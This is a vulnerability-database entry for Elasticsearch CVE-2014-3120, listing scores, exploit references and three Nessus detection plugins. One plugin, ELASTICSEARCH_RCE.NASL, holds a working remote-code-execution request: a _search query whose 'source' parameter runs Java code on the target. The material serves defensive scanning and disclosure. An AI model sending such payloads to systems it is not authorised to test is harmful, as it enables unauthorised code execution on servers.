Vulnerabilities > CVE-2014-3120 - Improper Access Control vulnerability in Elasticsearch 1.1.1

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
elasticsearch
CWE-284
nessus
exploit available
metasploit

Summary

The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.

Vulnerable Configurations

Part Description Count
Application
Elasticsearch
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Embedding Scripts within Scripts
    An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The attacker leverages this capability to execute scripts to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The attacker must have the ability to inject script into script that is likely to be executed. If this is done, then the attacker can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. Of course, these attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well. In general all that is required is for there to be sufficient privileges to execute a script, but not protected against writing.
  • Signature Spoofing by Key Theft
    An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.

Exploit-Db

  • descriptionElasticSearch Remote Code Execution. CVE-2014-3120. Webapps exploits for multiple platform
    fileexploits/multiple/webapps/33370.html
    idEDB-ID:33370
    last seen2016-02-03
    modified2014-05-15
    platformmultiple
    port
    published2014-05-15
    reporterJeff Geiger
    sourcehttps://www.exploit-db.com/download/33370/
    titleElasticSearch Remote Code Execution
    typewebapps
  • descriptionElasticSearch Dynamic Script Arbitrary Java Execution. CVE-2014-3120. Remote exploit for java platform
    idEDB-ID:33588
    last seen2016-02-03
    modified2014-05-30
    published2014-05-30
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/33588/
    titleElasticSearch Dynamic Script Arbitrary Java Execution

Metasploit

descriptionThis module exploits a remote command execution (RCE) vulnerability in ElasticSearch, exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the REST API, which does not require authentication, where the search function allows dynamic scripts execution. It can be used for remote attackers to execute arbitrary Java code. This module has been tested successfully on ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
idMSF:EXPLOIT/MULTI/ELASTICSEARCH/SCRIPT_MVEL_RCE
last seen2020-06-05
modified2017-07-24
published2014-05-27
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/elasticsearch/script_mvel_rce.rb
titleElasticSearch Dynamic Script Arbitrary Java Execution

Nessus

  • NASL familyRed Hat Local Security Checks
    NASL idREDHAT-RHSA-2014-1186.NASL
    descriptionAn updated katello-configure package that fixes one security issue is now available for Red Hat Subscription Asset Manager. Red Hat Product Security has rated this update as having Important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section. The katello-configure package provides the katello-configure script, which configures the Katello installation, and the katello-upgrade script, which handles upgrades between versions. It was discovered that the default configuration of Elasticsearch enabled dynamic scripting, allowing a remote attacker to execute arbitrary MVEL expressions and Java code via the source parameter passed to _search. (CVE-2014-3120) All Subscription Asset Manager users are advised to upgrade to this updated package. The update provides a script that modifies the elasticsearch.yml configuration file to disable dynamic scripting. After updating, run the
    last seen2020-06-01
    modified2020-06-02
    plugin id77661
    published2014-09-12
    reporterThis script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/77661
    titleRHEL 6 : katello-configure (RHSA-2014:1186)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Red Hat Security Advisory RHSA-2014:1186. The text 
    # itself is copyright (C) Red Hat, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(77661);
      script_version("1.16");
      script_cvs_date("Date: 2019/10/24 15:35:38");
    
      script_cve_id("CVE-2014-3120");
      script_bugtraq_id(67731);
      script_xref(name:"RHSA", value:"2014:1186");
    
      script_name(english:"RHEL 6 : katello-configure (RHSA-2014:1186)");
      script_summary(english:"Checks the rpm output for the updated package");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Red Hat host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "An updated katello-configure package that fixes one security issue is
    now available for Red Hat Subscription Asset Manager.
    
    Red Hat Product Security has rated this update as having Important
    security impact. A Common Vulnerability Scoring System (CVSS) base
    score, which gives a detailed severity rating, is available from the
    CVE link in the References section.
    
    The katello-configure package provides the katello-configure script,
    which configures the Katello installation, and the katello-upgrade
    script, which handles upgrades between versions.
    
    It was discovered that the default configuration of Elasticsearch
    enabled dynamic scripting, allowing a remote attacker to execute
    arbitrary MVEL expressions and Java code via the source parameter
    passed to _search. (CVE-2014-3120)
    
    All Subscription Asset Manager users are advised to upgrade to this
    updated package. The update provides a script that modifies the
    elasticsearch.yml configuration file to disable dynamic scripting.
    After updating, run the 'katello-configure' command. This will update
    the elasticsearch.yml configuration file and restart the elasticsearch
    service."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://access.redhat.com/errata/RHSA-2014:1186"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://access.redhat.com/security/cve/cve-2014-3120"
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Update the affected katello-configure package."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_malware", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'ElasticSearch Dynamic Script Arbitrary Java Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:redhat:enterprise_linux:katello-configure");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:redhat:enterprise_linux:6");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2014/07/28");
      script_set_attribute(attribute:"patch_publication_date", value:"2014/09/11");
      script_set_attribute(attribute:"plugin_publication_date", value:"2014/09/12");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Red Hat Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list", "Host/cpu");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("rpm.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/RedHat/release");
    if (isnull(release) || "Red Hat" >!< release) audit(AUDIT_OS_NOT, "Red Hat");
    os_ver = pregmatch(pattern: "Red Hat Enterprise Linux.*release ([0-9]+(\.[0-9]+)?)", string:release);
    if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Red Hat");
    os_ver = os_ver[1];
    if (! preg(pattern:"^6([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Red Hat 6.x", "Red Hat " + os_ver);
    
    if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
    if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$" && "s390" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Red Hat", cpu);
    
    yum_updateinfo = get_kb_item("Host/RedHat/yum-updateinfo");
    if (!empty_or_null(yum_updateinfo)) 
    {
      rhsa = "RHSA-2014:1186";
      yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);
      if (!empty_or_null(yum_report))
      {
        security_report_v4(
          port       : 0,
          severity   : SECURITY_WARNING,
          extra      : yum_report 
        );
        exit(0);
      }
      else
      {
        audit_message = "affected by Red Hat security advisory " + rhsa;
        audit(AUDIT_OS_NOT, audit_message);
      }
    }
    else
    {
      flag = 0;
      if (rpm_check(release:"RHEL6", reference:"katello-configure-1.4.5.1-3.el6sam")) flag++;
    
      if (flag)
      {
        security_report_v4(
          port       : 0,
          severity   : SECURITY_WARNING,
          extra      : rpm_report_get() + redhat_report_package_caveat()
        );
        exit(0);
      }
      else
      {
        tested = pkg_tests_get();
        if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
        else audit(AUDIT_PACKAGE_NOT_INSTALLED, "katello-configure");
      }
    }
    
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_43AC9D421B9A11E5B43D002590263BF5.NASL
    descriptionElastic reports : Vulnerability Summary: In Elasticsearch versions 1.1.x and prior, dynamic scripting is enabled by default. This could allow an attacker to execute OS commands. Remediation Summary: Disable dynamic scripting. Logstash 1.4.2 was bundled with Elasticsearch 1.1.1, which is vulnerable to CVE-2014-3120. These binaries are used in Elasticsearch output specifically when using the node protocol. Since a node client joins the Elasticsearch cluster, the attackers could use scripts to execute commands on the host OS using the node client
    last seen2020-06-01
    modified2020-06-02
    plugin id84411
    published2015-06-26
    reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/84411
    titleFreeBSD : elasticsearch and logstash -- remote OS command execution via dynamic scripting (43ac9d42-1b9a-11e5-b43d-002590263bf5)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from the FreeBSD VuXML database :
    #
    # Copyright 2003-2019 Jacques Vidrine and contributors
    #
    # Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
    # HTML, PDF, PostScript, RTF and so forth) with or without modification,
    # are permitted provided that the following conditions are met:
    # 1. Redistributions of source code (VuXML) must retain the above
    #    copyright notice, this list of conditions and the following
    #    disclaimer as the first lines of this file unmodified.
    # 2. Redistributions in compiled form (transformed to other DTDs,
    #    published online in any format, converted to PDF, PostScript,
    #    RTF and other formats) must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer
    #    in the documentation and/or other materials provided with the
    #    distribution.
    # 
    # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
    # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
    # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
    # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
    # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
    # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
    # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
    # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(84411);
      script_version("2.6");
      script_cvs_date("Date: 2019/07/10 16:04:13");
    
      script_cve_id("CVE-2014-3120");
      script_bugtraq_id(67731);
      script_xref(name:"EDB-ID", value:"33370");
    
      script_name(english:"FreeBSD : elasticsearch and logstash -- remote OS command execution via dynamic scripting (43ac9d42-1b9a-11e5-b43d-002590263bf5)");
      script_summary(english:"Checks for updated packages in pkg_info output");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:
    "The remote FreeBSD host is missing one or more security-related
    updates."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Elastic reports :
    
    Vulnerability Summary: In Elasticsearch versions 1.1.x and prior,
    dynamic scripting is enabled by default. This could allow an attacker
    to execute OS commands.
    
    Remediation Summary: Disable dynamic scripting.
    
    Logstash 1.4.2 was bundled with Elasticsearch 1.1.1, which is
    vulnerable to CVE-2014-3120. These binaries are used in Elasticsearch
    output specifically when using the node protocol. Since a node client
    joins the Elasticsearch cluster, the attackers could use scripts to
    execute commands on the host OS using the node client's URL endpoint.
    With 1.4.3 release, we are packaging Logstash with Elasticsearch 1.5.2
    binaries which by default disables the ability to run scripts. This
    also affects users who are using the configuration option
    embedded=>true in the Elasticsearch output which starts a local
    embedded Elasticsearch cluster. This is typically used in development
    environment and proof of concept deployments. Regardless of this
    vulnerability, we strongly recommend not using embedded in production.
    
    Note that users of transport and http protocol are not vulnerable to
    this attack."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.elastic.co/community/security"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.elastic.co/blog/elasticsearch-1-2-0-released"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.elastic.co/blog/logstash-1-4-3-released"
      );
      # http://bouk.co/blog/elasticsearch-rce/
      script_set_attribute(
        attribute:"see_also",
        value:"https://bouk.co/blog/elasticsearch-rce/"
      );
      # http://www.rapid7.com/db/modules/exploit/multi/elasticsearch/script_mvel_rce
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?27fc4ce3"
      );
      # https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?6702767b"
      );
      # https://vuxml.freebsd.org/freebsd/43ac9d42-1b9a-11e5-b43d-002590263bf5.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?a8f9d692"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected packages.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_malware", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'ElasticSearch Dynamic Script Arbitrary Java Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:elasticsearch");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:logstash");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2014/05/22");
      script_set_attribute(attribute:"patch_publication_date", value:"2015/06/26");
      script_set_attribute(attribute:"plugin_publication_date", value:"2015/06/26");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"FreeBSD Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("freebsd_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
    if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (pkg_test(save_report:TRUE, pkg:"elasticsearch<1.2.0")) flag++;
    if (pkg_test(save_report:TRUE, pkg:"logstash<1.4.3")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());
      else security_warning(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyCGI abuses
    NASL idELASTICSEARCH_RCE.NASL
    descriptionThe Elasticsearch application hosted on the remote web server is affected by a remote code execution vulnerability due to a failure to properly sanitize user-supplied input to the
    last seen2020-06-01
    modified2020-06-02
    plugin id76572
    published2014-07-17
    reporterThis script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/76572
    titleElasticsearch 'source' Parameter RCE
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(76572);
      script_version("1.9");
      script_cvs_date("Date: 2019/11/26");
    
      script_cve_id("CVE-2014-3120");
      script_bugtraq_id(67731);
      script_xref(name:"EDB-ID", value:"33370");
      script_xref(name:"EDB-ID", value:"33588");
    
      script_name(english:"Elasticsearch 'source' Parameter RCE");
      script_summary(english:"Attempts to execute arbitrary Java code.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server hosts a Java application that is affected by a
    remote code execution vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The Elasticsearch application hosted on the remote web server is
    affected by a remote code execution vulnerability due to a failure to
    properly sanitize user-supplied input to the 'source' parameter of the
    '/_search' page. A remote, unauthenticated attacker can exploit this
    flaw to execute arbitrary Java code or manipulate files on the remote
    host.");
      script_set_attribute(attribute:"see_also", value:"http://bouk.co/blog/elasticsearch-rce/");
      script_set_attribute(attribute:"see_also", value:"https://www.elastic.co/blog/found-elasticsearch-security");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to version 1.2.0 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-3120");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_malware", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'ElasticSearch Dynamic Script Arbitrary Java Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2013/12/09");
      script_set_attribute(attribute:"patch_publication_date", value:"2014/05/22");
      script_set_attribute(attribute:"plugin_publication_date", value:"2014/07/17");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:elasticsearch:elasticsearch");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("elasticsearch_detect.nbin");
      script_require_keys("installed_sw/Elasticsearch");
      script_require_ports("Services/www", 9200);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    include("url_func.inc");
    
    app = "Elasticsearch";
    get_install_count(app_name:app, exit_if_zero:TRUE);
    
    port = get_http_port(default:9200);
    
    install = get_single_install(
      app_name            : app,
      port                : port
    );
    
    dir  = install['path'];
    url  = build_url(qs:dir, port:port);
    vuln = FALSE;
    
    j_int  = rand();
    j_int2 = rand();
    j_int3 = rand();
    
    attack = '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"' +
      'script_fields":{"Java Properties":{"script":"import java.lang.*;\\n' +
      'System.getProperties();"}}}&callback=jQuery' + j_int + '_' + j_int2 +
      '&_=' + j_int3;
    
    attack = urlencode(
      str        : attack,
      unreserved : 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.&=_*()',
      case_type  : HEX_UPPERCASE
    );
    attack = dir+"_search?source="+attack;
    
    res = http_send_recv3(
      method : "GET",
      port   : port,
      item   : attack,
      exit_on_fail : TRUE
    );
    
    vuln = (
      ("jQuery" + j_int + "_" + j_int2)  >< res[2] &&
      "java.specification.version"       >< res[2] &&
      "java.version"                     >< res[2] &&
      '"successful":'                    >< res[2]
    );
    
    if (!vuln) 
      audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);
    
    attack = build_url(qs:attack, port:port);
    security_report_v4(
      port       : port,
      severity   : SECURITY_WARNING,
      cmd        : "System.getProperties()",
      output     : res[2],
      request    : make_list(attack),
      line_limit : 25
    );
    

Packetstorm

Redhat

rpmskatello-configure-0:1.4.5.1-3.el6sam